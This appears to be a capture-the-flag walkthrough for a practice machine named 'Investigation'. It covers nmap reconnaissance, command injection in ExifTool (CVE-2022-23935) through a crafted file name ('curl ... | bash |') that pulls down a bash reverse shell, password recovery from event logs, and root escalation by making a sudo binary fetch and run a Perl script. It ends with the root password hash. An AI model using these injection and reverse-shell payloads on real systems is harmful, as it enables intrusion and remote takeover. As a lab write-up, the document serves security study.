We can begin with an nmap scan:
└─$ nmap -sC -sV 10.129.9.176
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-21 14:00 EST
Nmap scan report for 10.129.9.176
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 2f1e6306aa6ebbcc0d19d4152674c6d9 (RSA)
| 256 274520add2faa73a8373d97c79abf30b (ECDSA)
|_ 256 4245eb916e21020617b2748bc5834fe0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://eforenzics.htb/
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds
Add http://eforenzics.htb/ to our /etc/hosts folder. Then we can go take a look at the website:

Clicking on the button brings us to a page where we can upload files to be scanned:

Uploading a regular old image gives us no issues and shows us the output. It looks like it just runs the image through exiftool and gives us the results:

After doing some googling we can see that this version of ExifTool is vulnerable to CVE-2022-23935, which is a command injection vulnerability. This vulnerability is present in this version because the program mishandles a file check, which lets us issue commands.
If you look at GitHub for this CVE you’ll find this pretty quickly: https://gist.github.com/ert-plus/1414276e4cb5d56dd431c2f0429e4429
So, we have a pretty good idea that the website just runs exiftool on our file using the file name that we give it. So here is an idea we can execute:
- Make an image file named
'curl <Your IP> | bash |' - At your IP address host a web server with python and let the
index.htmlof that page be our reverse shell payload:bash -i >& /dev/tcp/<your IP>/<your port> 0>&1 - Open a netcat listener on the selected port and upload the file to see if our command is executed.
└─$ cp image.jpeg 'curl 10.10.14.9 | bash |'
└─$ ls -la
total 32
drwxr-xr-x 2 kali kali 4096 Jan 22 21:10 .
drwxr-xr-x 20 kali kali 4096 Jan 21 14:09 ..
-rw-r--r-- 1 kali kali 7899 Jan 22 21:09 'curl 10.10.14.9 | bash |'
-rw-r--r-- 1 kali kali 7899 Jan 21 14:06 image.jpeg
-rw-r--r-- 1 kali kali 41 Jan 22 21:10 index.html
└─$ cat index.html
bash -i >& /dev/tcp/10.10.14.9/1337 0>&1
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.10.219 - - [22/Jan/2023 21:10:57] "GET / HTTP/1.1" 200 -
We have made our file and the index page that carries the payload, now we can upload the file and get a response on our listener:

└─$ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.9] from eforenzics.htb [10.129.10.219] 50162
bash: cannot set terminal process group (939): Inappropriate ioctl for device
bash: no job control in this shell
www-data@investigation:~/uploads/1674439865$
If you upload and run linpeas.sh you’ll see that in the /usr/local/investigation/analysed directory there are some group writable files we can try to play with:
www-data@investigation:/usr/local/investigation$ ls -la
ls -la
total 1288
drwxr-xr-x 2 root root 4096 Sep 30 23:43 .
drwxr-xr-x 11 root root 4096 Aug 27 21:54 ..
-rw-rw-r-- 1 smorton smorton 1308160 Oct 1 00:35 Windows Event Logs for Analysis.msg
-rw-rw-r-- 1 www-data www-data 0 Oct 1 00:40 analysed_log
One of them looks interesting, so we can investigate:
www-data@investigation:/usr/local/investigation$ file 'Windows Event Logs for Analysis.msg'
file 'Windows Event Logs for Analysis.msg'
Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message
You can open this in outlook or any email viewer and from there you’ll see that the email contains a .zip file and I want to see if we can get into it using a tool called evtx_dump. I decided to export the file in json data because of the tutorial I was following, but you can export as a csv or a plain old txt if you’d prefer.
└─$ sudo ./evtx_dump-v0.8.0-x86_64-unknown-linux-gnu security.evtx -o json > dump
└─$ ls
'curl 10.10.14.9 | bash |' index.html
dump rev-shell.php
evtx_dump-v0.8.0-x86_64-unknown-linux-gnu revshell.php.jpeg
evtx-logs.zip security.evtx
image.jpeg 'Windows Event Logs for Analysis.msg'
Reading the file with gedit and looking around shows us the following interesting snip where we see what looks like a password:
"EventData": {
"AuthenticationPackageName": "Negotiate",
"FailureReason": "%%2313",
"IpAddress": "127.0.0.1",
"IpPort": "0",
"KeyLength": 0,
"LmPackageName": "-",
"LogonProcessName": "User32 ",
"LogonType": 7,
"ProcessId": "0x180",
"ProcessName": "C:\\Windows\\System32\\svchost.exe",
"Status": "0xc000006d",
"SubStatus": "0xc0000064",
"SubjectDomainName": "WORKGROUP",
"SubjectLogonId": "0x3e7",
"SubjectUserName": "EFORENZICS-DI$",
"SubjectUserSid": "S-1-5-18",
"TargetDomainName": "",
"TargetUserName": "Def@ultf0r3nz!csPa$$",
"TargetUserSid": "S-1-0-0",
"TransmittedServices": "-",
"WorkstationName": "EFORENZICS-DI"
},
Let’s try and ssh in with that password and the user group we saw we had access to earlier:
└─$ ssh smorton@10.129.10.221
The authenticity of host '10.129.10.221 (10.129.10.221)' can't be established.
ED25519 key fingerprint is SHA256:lYSJubnhYfFdsTiyPfAa+pgbuxOaSJGV8ItfpUK84Vw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.10.221' (ED25519) to the list of known hosts.
smorton@10.129.10.221's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-137-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 23 Jan 2023 03:35:13 AM UTC
System load: 0.0 Processes: 229
Usage of /: 59.5% of 3.97GB Users logged in: 0
Memory usage: 8% IPv4 address for eth0: 10.129.10.221
Swap usage: 0%
0 updates can be applied immediately.
smorton@investigation:~$
Let’s see our sudo privileges:
smorton@investigation:~$ sudo -l
Matching Defaults entries for smorton on investigation:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User smorton may run the following commands on investigation:
(root) NOPASSWD: /usr/bin/binary
Download the file and look at it in Ghidra
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
__int64 v7; // [rsp+38h] [rbp-18h]
char *s; // [rsp+40h] [rbp-10h]
char *command; // [rsp+48h] [rbp-8h]
if ( argc != 3 )
{
puts("Exiting... ");
exit(0);
}
if ( getuid() )
{
puts("Exiting... ");
exit(0);
}
if ( strcmp(argv[2], "lDnxUysaQn") )
{
puts("Exiting... ");
exit(0);
}
puts("Running... ");
stream = fopen(argv[2], "wb");
v5 = curl_easy_init();
curl_easy_setopt(v5, 10002LL, argv[1]);
curl_easy_setopt(v5, 10001LL, stream);
curl_easy_setopt(v5, 45LL, 1LL);
if ( (unsigned int)curl_easy_perform(v5) )
{
puts("Exiting... ");
exit(0);
}
v6 = snprintf(0LL, 0LL, "%s", argv[2]);
s = (char *)malloc(v6 + 1);
snprintf(s, v6 + 1, "%s", argv[2]);
v7 = snprintf(0LL, 0LL, "perl ./%s", s);
command = (char *)malloc(v7 + 1);
snprintf(command, v7 + 1, "perl ./%s", s);
fclose(stream);
curl_easy_cleanup(v5);
setuid(0);
system(command);
system("rm -f ./lDnxUysaQn");
return 0;
}
This is what the main function looks like, here is my interpretation of what the program does:
- It first checks if the number of arguments passed is not equal to 3. If true, it exits the program with a message “Exiting… “.
- It then checks if the user’s UID is not equal to 0. If true, it exits the program with a message “Exiting… "
- Then it checks if the value of argv[2] is not equal to “lDnxUysaQn” . If true, it exits the program with a message “Exiting… "
- If all the above conditions are false, it continues to execute the program and prints “Running… "
- Then it opens a file using
fopenfunction with the name argv[2] and “wb” mode and assigns the file pointer to the variable stream. - Then it uses the libcurl function
curl_easy_init()to initialize a handle and assigns it to the variable v5. - Then it uses the libcurl function
curl_easy_setopt(v5, 10002LL, argv[1])to set the URL of the file to be downloaded to the handle. - Then it uses the libcurl function
curl_easy_setopt(v5, 10001LL, stream)to set the file pointer to the handle. - Then it uses the libcurl function
curl_easy_setopt(v5, 45LL, 1LL)to set the option to follow redirects to the handle. - Then it uses the libcurl function
curl_easy_perform(v5)to perform the download operation and check if it fails. If it fails, it exits the program with a message “Exiting… " - Then it uses the function
snprintfto write the argv[2] to a string s and allocate memory for it. - Then it uses the function
snprintfto write a string “perl ./” and the value of s to a string command and allocate memory for it. - Then it uses the function
fclose(stream)to close the file. - Then it uses the function
curl_easy_cleanup(v5)to cleanup the handle. - Then it uses the function
setuid(0)to set the user id to 0 - Then it uses the function
system(command)to run the command. - Then it uses the command
system("rm -f ./lDnxUysaQn")to remove the file lDnxUysaQn. - Finally, the program exits with a return code of 0.
It appears that this is a script that takes two command line arguments, downloads a file from the internet from the URL provided by the first command line argument to a file specified by the second command line argument, performs some operations on the file, and then removes the file.
It is also checking for valid user, and also check for the command line arguments and exits if any of the conditions are not met.
With all this in mind, we should be able to make a perl script that switches us to the root user with exec("su") and use the binary program to download it from our host like this:
On our host:
└─$ cat exploit.pl
exec("su")
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
On the victim:
smorton@investigation:~$ sudo binary http://<YourIP>/exploit.pl lDnxUysaQn
Running...
root@investigation:~#
Root Hash:
root:$6$8KeEz2EYMU05RVyS$W5GGqM4AHw3D1tLul.LJN2BPUhqEdflA.yCQyu7/c2PtZmbAn6qevqSaUlFyhPQbgbhFmDB00I3Of7qPep2WP/:19233:0:99999:7:::